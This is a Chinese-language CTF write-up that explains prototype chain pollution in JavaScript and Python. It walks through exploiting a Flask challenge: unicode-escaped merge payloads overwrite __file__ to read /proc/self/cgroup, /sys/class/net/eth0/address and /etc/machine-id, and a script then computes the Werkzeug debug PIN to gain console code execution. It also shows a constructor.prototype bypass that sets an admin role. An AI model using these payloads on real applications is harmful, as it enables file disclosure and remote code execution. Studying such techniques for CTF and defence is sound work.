Python原型链污染 简介 这一期主要是自己在打DASCTF2023七月暑期挑战赛
遗憾爆0之后,在复现的时候想搞清楚这一类的攻击方式及解题技巧
类似于Javascript
中的原型链污染一样,这种攻击方式可以在Python
中实现对类属性值的污染。需要注意的是,由于Python
中的安全设定和部分特殊实行类型限定,并不是所有的属性都是可以被污染的,不过可以肯定,污染只对类属性起作用,对于类方法是无效的。
不过由于Python
中变量空间的设置,实际上还能做到全局变量中的属性实现污染。
那就索性把Javascript
的原型链污染也一块说了好了,免得再出一期Javascript
的原型链污染,主要是懒(bushi
那就先来说一下原型链污染是什么
原型链污染 一般的原型链污染我们通常指的是针对于Javascript
运行时的注入攻击。通过原型链污染,攻击者可能控制对象属性的默认值。这允许攻击者篡改应用程序的逻辑,还可能导致拒绝服务,或者在极端情况下,远程执行代码。
比较出名的一个原型链污染漏洞,是在2019年初,在 Snyk的安全研究人员透露出流行的JavaScript库—Lodash的严重的漏洞,这允许黑客攻击多个web应用程序。
漏洞细节:https://security.snyk.io/vuln/SNYK-JS-LODASH-450202
这里就也可以看一下这篇文章 => JavaScript原型链污染学习记录
什么是原型链 那这就需要了解Javascript
对象的概述以及对象的创建
在Javascript
中,没一个实例对象都有一个私有属性(__proto__
)指向它的构造函数的原型对象(prototype
),而该原型对象又有一个自己的原型对象,就像套娃一样。知道原型对象为object
,他是几乎所有的Javascript
中的对象的祖宗。所以他是没有原型的,硬要说有的话那就是null
。到这为止就是整条原型链。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 class Person { name = "Z3r0" age = Infinity constructor ( ){ this .gender = "未知" } sayHello ( ){ console .log ("Hello,我是" ,this .name ); } } class Animal {} class Cat extends Animal {} const p = new Person ()const p1 = new Person ()console .log (p.__proto__ .__proto__ .__proto__ );console .log (Object .getPrototypeOf (p) == p.__proto__ );console .log (p.__proto__ === p1.__proto__ )const cat = new Cat ()console .log (cat.__proto__ .__proto__ .__proto__ );
继承 实例对象和原型对象是有继承关系的。当试图访问一个对象的属性时,它会先在该对象中搜索,如果该对象没有此属性,就会在该对象的原型中去搜索。以此类推,如果直到object原型对象都没有这个属性,就会返回undefined。
可以通过下面这个例子来说说
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 var ad = function ( ){ this .a = 1 ; this .b = 2 ; } var we = new ad (); ad.prototype .b = 3 ; ad.prototype .c = 4 ; console .log (we.a ); console .log (we.b );console .log (we.c );console .log (we.d );
然后我再给出一个例子,去理解为什么输出会这样
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 class Animal { constructor (name ){ this .name = name } sayHello ( ){ console .log ("动物在叫~" ) } } class Dog extends Animal { sayHello ( ){ console .log ("汪汪汪" ); } } class Cat extends Animal { constructor (name, age ){ super (name) this .age = age } sayHello ( ){ super .sayHello () console .log ("喵喵喵" ); } } const dog = new Dog ("旺财" )const cat = new Cat ("Tom" ,3 )dog.sayHello () console .log (dog);cat.sayHello () console .log (cat);
原理 我们要先知道prototype
和__proto__
有什么关系,我们来以定义构造函数的方式来定义一个类
1 2 3 4 function XiLitter ( ){ this .age = 19 ; } var a = new XiLitter ();
说白了,就是XiLitter.prototype
等价于a.__proto__
。就是一个对象的__proto__
属性指向所在的类的prototype
属性。
如果我们能够控制改变原型对象的属性。比如对于语句object[a][b]=c
我们可以将a
设置为__proto__
,然后在原型中设置一个属性b
,并赋值于c
,那么所有继承该原型对象的实例对象都会在本身不拥有b
属性的情况下拥有b
属性,且值为c
。
1 2 3 4 5 ob1 = {"a" :123 ,"b" :456 }; ob1.__proto__ .ab = "123456" ; console .log (ob1.ab ); ob2 = {"a" :1234 ,"b" :5678 }; console .log (ob2.ab );
利用 只有符合以下条件才可以进行原型链污染攻击
对象递归合并 按路径定义属性 对象克隆 常用污染函数 常见的污染方式有merge()函数,clone()内核,还有copy()函数,例如:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 function copy (object1, object2 ){ for (let key in object2) { if (key in object2 && key in object1) { copy (object1[key], object2[key]) } else { object1[key] = object2[key] } } } var user = new function ( ){ this .userinfo = new function ( ){ this .isVIP = false ; this .isAdmin = false ; }; } body=JSON .parse ('{"__proto__":{"__proto__":{"query":"Ricky is admin!"}}}' ); copy (user.userinfo ,body);console .log (user.userinfo );console .log (user.query );
user.query
被赋值为 Ricky is admin!
, 说明了我们污染成功, 使得user 去它的 __proto__
的 __proto__
里找 query 的变量
1 2 { isVIP: false , isAdmin: false } Ricky is admin!
在JSON解析的情况下, __proto__
会被认为是一个真正的”键名”, 而不代表”原型”, 所以在遍历 body
的时候会存在这个键
应用 拿之前HGAME 2023 Week4
的Shared Diary
来举个🌰
这道题先是一个原型链污染然后是一个ejs ssti
模板注入
这道题的关键就在源码中的merge函数
1 2 3 4 5 6 7 8 9 10 11 12 13 function merge (target, source ) { for (let key in source) { if (key === '__proto__' ) { throw new Error ("Detected Prototype Pollution" ) } if (key in source && key in target) { merge (target[key], source[key]) } else { target[key] = source[key] } } }
还有login接口中的一段
1 2 3 4 5 6 7 8 let data = {};try { merge (data, req.body ) } catch (e) { return res.render ("login" , {message : "Don't pollution my shared diary!" }) } req.session .data = data
这里的merge函数就造成了原型链污染,我们的目标是污染对象的role
属性,使其成为admin
,在了解原型链污染漏洞之后,就能自然的想到
{"__proto__": {"role": "admin"},"username":"D3ic1de","password":"123"}
但是这里merge
函数会对__proto__
属性做检测,这里可以使用constructor.prototype
来绕过,在lodash
的CVE-2019-10744
中的payload
也用的类似的绕过技巧,lodash
也是因为只检测了__proto__
属性,在lodash.merge
中就有这种类似的方法可以绕过。
1 2 3 4 5 POST /login HTTP/1.1 Content-Type : application/jsonHost : localhost:8888{ "constructor" : { "prototype" : { "role" : "admin" } } , "username" : "ek1ng" , "password" : "123" }
这样构造就可以成功污染原型链,拿到session.role为admin的session。
这⾥需要注意污染后再之后去正常的登陆请求,都会因为merge函数抛出异常(并不是检测到__proto__
属性,⽽是这样写法的merge函数会在原型链被污染后⽆法正常merge,会抛出异常,可以打个断点调试⼀下)⽽被认为是检测到原型链污染。
Python原型链污染(正片) 可以去看看这篇文章 => Python原型链污染变体
Python 中的原型链污染(Prototype Pollution
)是指通过修改对象原型链中的属性,对程序的行为产生意外影响或利用漏洞进行攻击的一种技术。 在 Python中,对象的属性和方法可以通过原型链继承来获取。每个对象都有一个原型,原型上定义了对象可以访问的属性和方法。当对象访问属性或方法时,会先在自身查找,如果找不到就会去原型链上的上级对象中查找,原型链污染攻击的思路是通过修改对象原型链中的属性,使得程序在访问属性或方法时得到不符合预期的结果。常见的原型链污染攻击包括修改内置对象的原型、修改全局对象的原型等
污染条件 就像Javascript
的原型链污染一样,同样需要一个数值合并函数将特定值污染到类的属性中
1 2 3 4 5 6 7 8 9 10 11 12 def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v)
污染示例 Python
中的类会继承父类中的属性,而类中声明(并不是实例中声明)的属性是唯一的,所以我们的目标就是这些在多个类、示例中仍然指向唯一的属性,如:类中自定义属性以及__
开头的内置属性等
先以自定义属性为🌰:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 class father : secret = "admin" class son_a (father ): pass class son_b (father ): pass def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v) instance = son_b() payload = { "__class__" : { "__base__" : { "secret" : "D3ic1de" } } } print (son_a.secret)print (instance.secret)merge(payload, instance) print (son_a.secret)print (instance.secret)
对上面的例子简单分析一下
执行merge
函数后,因为instance
是class
类型,并且含有__class__
默认属性,并且v
也为字典格式,所以会执行这条判断语句
1 2 3 4 5 6 7 8 9 10 11 12 13 14 elif hasattr (dst, k) and type (v) == dict merge(v, getattr (dst, k)) ''' src={ "__class__" : { "__base__" : { "secret" : "D3ic1de" } } } dst=instance() '''
接着进行第一次递归,执行语句merge(v, getattr(dst, k))
,此时合并目标通过__class__
属性换成了instance
对象的所属的类(son_b
),然后再次通过一下判断语句进行第二次递归
1 2 3 4 5 6 7 8 9 10 11 elif hasattr (dst, k) and type (v) == dict :merge(v, getattr (dst, k)) ''' src={ "__base__" : { "secret" : "D3ic1de" } } dst=son_b() '''
第二次递归之后,执行语句merge(v, getattr(dst, k))
,此时合并目标通过__base__
属性换成了son_b
类的所属的直接父类(father
),然后进行第三次递归
1 2 3 4 5 6 7 elif hasattr (dst, k) and type (v) == dict :merge(v, getattr (dst, k)) ''' src={"secret" : "D3ic1de"} dst=father() '''
第三次递归时,type(v) == dict
为FALSE
,递归结束,此时v=“world”
,不再是字典类型,然后执行语句
重置father类 中的secret 属性的值为D3ic1de ,到此简单的链污染已经完成
再来个修改内置属性的🌰
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 class father : pass class son_a (father ): pass class son_b (father ): pass def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v) instance = son_b() payload = { "__class__" : { "__base__" : { "__str__" : "Polluted ~" } } } print (father.__str__)merge(payload, instance) print (father.__str__)
无法污染的object
正如一开始所述,并不是所有的类的属性都可以被污染,如Object
的属性就无法被污染,所以需要目标类能够被切入点类或对象可以通过属性值查找获取到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v) payload = { "__class__" : { "__str__" : "Polluted ~" } } merge(payload, object )
上面给的文章已经讲得很详细了,我这里就不再说了,那么我们就通过一个题目来进行实践。
题目复现 DASCTF2023七月暑期挑战赛
EzFlask 刚开始看到这道题以为是Flask
模板输入,但死活找不到注入点然后看了源码,感觉就是一个简单的注册登录系统,比赛结束之后看了师傅们的wp,是python原型链污染。
源码中有一段merge
函数
1 2 3 4 5 6 7 8 9 10 11 def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v)
并在/register
路由进行了调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 @app.route('/register' ,methods=['POST' ] ) def register (): if request.data: try : if not check(request.data): return "Register Failed" data = json.loads(request.data) if "username" not in data or "password" not in data: return "Register Failed" User = user() merge(data, User) Users.append(User) except Exception: return "Register Failed" return "Register Success" else : return "Register Failed"
然后在/
路由中还有一个__file__
读取
1 2 3 @app.route('/' ,methods=['GET' ] ) def index (): return open (__file__, "r" ).read()
然后dirsearch
扫描出来一个console
路由,这个是控制台,但是需要PIN
码
那么很明显了,就是通过修改__file__
读取文件,计算PIN
码进行RCE
关于如何计算PIN
码可以看看这篇文章:Flask框架实现debug模式下计算pin码
因为在源码中有一段
1 2 app = Flask(__name__) app.secret_key = str (uuid.uuid4())
所以我们需要对传入的恶意payload
进行unicode
编码
我们先构造未编码前的payload
1 2 3 4 5 6 7 8 9 { "username":"1", "password":"1", "__init__":{ "__globals__":{ "__file__":"/proc/self/cgroup" } } }
unicode
编码后的:
1 2 3 4 5 6 7 8 9 { "username":"1", "password":"1", "\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f":{ "\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f":{ "\u005f\u005f\u0066\u0069\u006c\u0065\u005f\u005f":"/proc/self/cgroup" } } }
这里我们就污染成功了
然后我们取cgroup
的值为
1 docker-aec7efb63a2cb8671f0c43f4fa2aa56e943a6b1480fb8454f2ee3df6a266c8cf.scope
这样构造拿到uuid
1 2 3 4 5 6 7 8 9 { "username":"1", "password":"1", "\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f":{ "\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f":{ "\u005f\u005f\u0066\u0069\u006c\u0065\u005f\u005f":"/sys/class/net/eth0/address" } } }
记得把uuid
转为十进制
拿machine-id
1 2 3 4 5 6 7 8 9 { "username":"1", "password":"1", "\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f":{ "\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f":{ "\u005f\u005f\u0066\u0069\u006c\u0065\u005f\u005f":"/etc/machine-id" } } }
最后的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 import hashlibfrom itertools import chainprobably_public_bits = [ 'root' , 'flask.app' , 'Flask' , '/usr/local/lib/python3.10/site-packages/flask/app.py' ] private_bits = [ '266374425460457' , '96cec10d3d9307792745ec3b85c89620docker-aec7efb63a2cb8671f0c43f4fa2aa56e943a6b1480fb8454f2ee3df6a266c8cf.scope' ] h = hashlib.sha1() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance (bit, str ): bit = bit.encode("utf-8" ) h.update(bit) h.update(b"cookiesalt" ) cookie_name = f"__wzd{h.hexdigest()[:20 ]} " num = None if num is None : h.update(b"pinsalt" ) num = f"{int (h.hexdigest(), 16 ):09d} " [:9 ] rv = None if rv is None : for group_size in 5 , 4 , 3 : if len (num) % group_size == 0 : rv = "-" .join( num[x: x + group_size].rjust(group_size, "0" ) for x in range (0 , len (num), group_size) ) break else : rv = num print (rv)
访问/console
路由,输入PIN
码,好的拿到控制台的权限,接下来就是rce
了
总算拿到flag了